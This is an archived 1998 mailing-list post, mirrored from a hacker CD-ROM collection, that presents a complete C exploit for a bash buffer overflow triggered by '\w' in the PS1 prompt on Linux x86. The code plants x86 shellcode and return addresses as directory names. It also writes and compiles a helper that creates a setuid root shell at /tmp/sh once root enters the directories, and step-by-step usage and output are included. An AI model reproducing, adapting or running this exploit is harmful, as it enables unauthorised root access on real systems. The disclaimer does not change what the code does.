home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / bashps1.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-19  |  5.9 KB  |  174 lines

  1. Date: Sat, 5 Sep 1998 21:28:05 +0000
  2. From: MiG <mig@zeus.polsl.gliwice.pl>
  3. Subject: BASH buffer overflow, LiNUX x86 exploit
  4.  
  5. -----BEGIN PGP SIGNED MESSAGE-----
  6.  
  7. Here it is example exploit for buffer overflow in bash
  8. which occurs when there is set '\w' in PS1 environment
  9. variable (Joao Manuel Carolino post).
  10.  
  11. This exploit was tested on Linux x86 systems:
  12. - - Debian 1.3.1, bash 2.0.0(1)
  13. - - Red Hat 5.0, bash 1.4.17(1)
  14.  
  15. How it works:
  16. ~~~~~~~~~~~~~
  17. Run it as ordinary user:
  18.         [debian]:~$ id
  19.         uid=1000(test) gid=1000(test) groups=1000(test)
  20.         [debian]:~$ ./bashps1
  21.         BASH '\w' option in PS1 exploit example
  22.         - Creating /tmp/tp.c
  23.         - Compiling /tmp/tp.c to /tmp/tp
  24.         - Removing /tmp/tp.c
  25.         - Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...
  26.         - OK
  27.  
  28. If everything goes fine you should have 'tp' file in /tmp dir:
  29.         [debian]:~$ ls -l /tmp/tp
  30.         -rwxr-xr-x   1 test     test         3981 Sep  4 20:54 tp
  31.  
  32. Then as root do:
  33.         bash# export PS1='bash:\w\$ '
  34.         debian:~# cd ~test
  35.         debian:/home/test# cd AAAAAAAA*/*/*/*/*
  36.         shell-init: could not get current directory: getwd: cannot access parent directories
  37.         shell-init: could not get current directory: getwd: cannot access parent directories
  38.  
  39. The bash dies... Check if there is suid shell in tmp dir:
  40.         [debian]:~$ ls -l /tmp/sh
  41.         -rwsr-sr-x   1 root     root       304676 Sep  4 20:55 sh
  42.  
  43. Remember, whole directories are treated here as x86 assembler
  44. instructions, so AAA.../AAA... are:
  45.         incl    %ecx
  46.         incl    %ecx
  47.         incl    %ecx
  48.         ...
  49.         das
  50.         incl    %ecx
  51.         incl    %ecx
  52.         incl    %ecx
  53.         ...
  54. So you can't change it on ordinary words, unless you know what
  55. you are doing.
  56.  
  57. Here is it the code:
  58. - ----x----x----x----x----bashps1.c----x----x----x----x----x----x----x----
  59. /*
  60.  *      BASH: '\w' in PS1 environment variable - x86 exploit
  61.  *      by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
  62.  *
  63.  *              - tested on: DEBIAN LINUX 1.3.1, BASH 2.0.0(1)
  64.  *                           RED HAT LINUX 5.0, BASH 1.4.17(1)
  65.  *
  66.  *      THIS IS FOR EDUCATIONAL PURPOSES ONLY
  67.  *      USE IT AT YOUR OWN RISK
  68.  *
  69.  *      When run, this program creates directories:
  70.  *       AAAAAA....../AAAAAA....../AAAAAA....../CODE......./RETADDR.....
  71.  *       (255 bytes)  (255 bytes)  (255 bytes)  (50 bytes)  (255 bytes)
  72.  *
  73.  *      When you have '\w' included in your PS1 env. variable and
  74.  *      enter to the last of this directories, then "/tmp/tp" program is
  75.  *      executed and SUID shell "/tmp/sh" is created
  76.  */
  77.  
  78. #include        <unistd.h>
  79.  
  80. /*
  81.  *      Code we would like to run when stack is smashed
  82.  */
  83. char code[] =
  84.         "\xeb\x24"              /* jmp    GETADDR         */
  85.                                 /* RUNPROG:               */
  86.         "\x5e"                  /* popl   %esi            */
  87.         "\x89\x76\x08"          /* movl   %esi,0x8(%esi)  */
  88.         "\x31\xc0"              /* xorl   %eax,%eax       */
  89.         "\x88\x46\x07"          /* movb   %al,0x7(%esi)   */
  90.         "\x89\x46\x0c"          /* movl   %eax,0xc(%esi)  */
  91.         "\xfe\x06"              /* incb   (%esi)          */
  92.         "\xfe\x46\x04"          /* incb   0x4(%esi)       */
  93.         "\xb0\x0b"              /* movb   $0xb,%al        */
  94.         "\x89\xf3"              /* movl   %esi,%ebx       */
  95.         "\x8d\x4e\x08"          /* leal   0x8(%esi),%ecx  */
  96.         "\x8d\x56\x0c"          /* leal   0xc(%esi),%edx  */
  97.         "\xcd\x80"              /* int    $0x80           */
  98.         "\x31\xdb"              /* xorl   %ebx,%ebx       */
  99.         "\x89\xd8"              /* movl   %ebx,%eax       */
  100.         "\x40"                  /* incl   %eax            */
  101.         "\xcd\x80"              /* int    $0x80           */
  102.                                 /* GETADDR:               */
  103.         "\xe8\xd7\xff\xff\xff"  /* call   RUNPROG         */
  104.         ".tmp.tp";              /* Program to run .XXX.XX */
  105.  
  106. /*
  107.  *      Return address, you may have to change it if expl. doesn't works
  108.  */
  109. int ADDR=0xbffff2ff;
  110.  
  111. void main(void) {
  112.         char dir[256];
  113.         int i, align;
  114.  
  115.         printf("BASH '\\w' option in PS1 exploit example\n");
  116.  
  117.         printf("- Creating /tmp/tp.c\n");
  118.         system("echo 'main() {'                        >  /tmp/tp.c");
  119.         system("echo 'system(\"cp /bin/sh /tmp/sh\");' >> /tmp/tp.c");
  120.         system("echo 'system(\"chmod +s /tmp/sh\");'   >> /tmp/tp.c");
  121.         system("echo '}'                               >> /tmp/tp.c");
  122.  
  123.         printf("- Compiling /tmp/tp.c to /tmp/tp\n");
  124.         system("gcc -o /tmp/tp /tmp/tp.c");
  125.  
  126.         printf("- Removing /tmp/tp.c\n");
  127.         system("rm -f /tmp/tp.c");
  128.  
  129.         /* Computing alignment for the 'address' directory */
  130.         getcwd(dir,255);
  131.         align=(strlen(dir)+2) % 4;
  132.  
  133.         memset(dir,'A',255);
  134.         dir[255]=0;
  135.  
  136.         printf("- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...\n");
  137.         mkdir(dir,0777);
  138.         chdir(dir);
  139.         mkdir(dir,0777);
  140.         chdir(dir);
  141.         mkdir(dir,0777);
  142.         chdir(dir);
  143.  
  144.         /* create directory which name is our code */
  145.         mkdir(code,0777);
  146.         chdir(code);
  147.  
  148.         /* create directory which name is return addresses */
  149.         for(i=align;i<252;i+=4) *(int *)&dir[i]=ADDR;
  150.         mkdir(dir,0777);
  151.         chdir("../../../../");
  152.  
  153.         printf("- OK\n\n");
  154. }
  155. - ----x----x----x----x----x----x----x----x----x----x----x----x----x----x----
  156.  
  157. Miroslaw Grzybek,
  158. Cieszyn, POLAND
  159.                                  http://www.polsl.gliwice.pl/~mig
  160. mig@polsl.gliwice.pl       5E 13 03 B7 EA A1 CC 15  50 48 C4 96 5A EA 04
  161.  
  162.  
  163.  
  164. -----BEGIN PGP SIGNATURE-----
  165. Version: 2.6.3i
  166. Charset: noconv
  167.  
  168. iQCVAwUBNfGs6vJFWShw6P6VAQF4UwQAlCHPr4/OjdWHzhLwOi6Lo1V6zMNlgqTB
  169. vWcoEfG3jEKl6c/waEoC3TalYkFe5gdhxTV31+9jNkMTW+/idB1J9W4YluaGkurz
  170. Mq1J+N0nrXz0nHxuNpIzbhfKZyi3n3AHBPcx4AQItixrpYA8TnEV3AnPUYAQlFSN
  171. S04u+E1PSqE=
  172. =bcLq
  173. -----END PGP SIGNATURE-----
  174.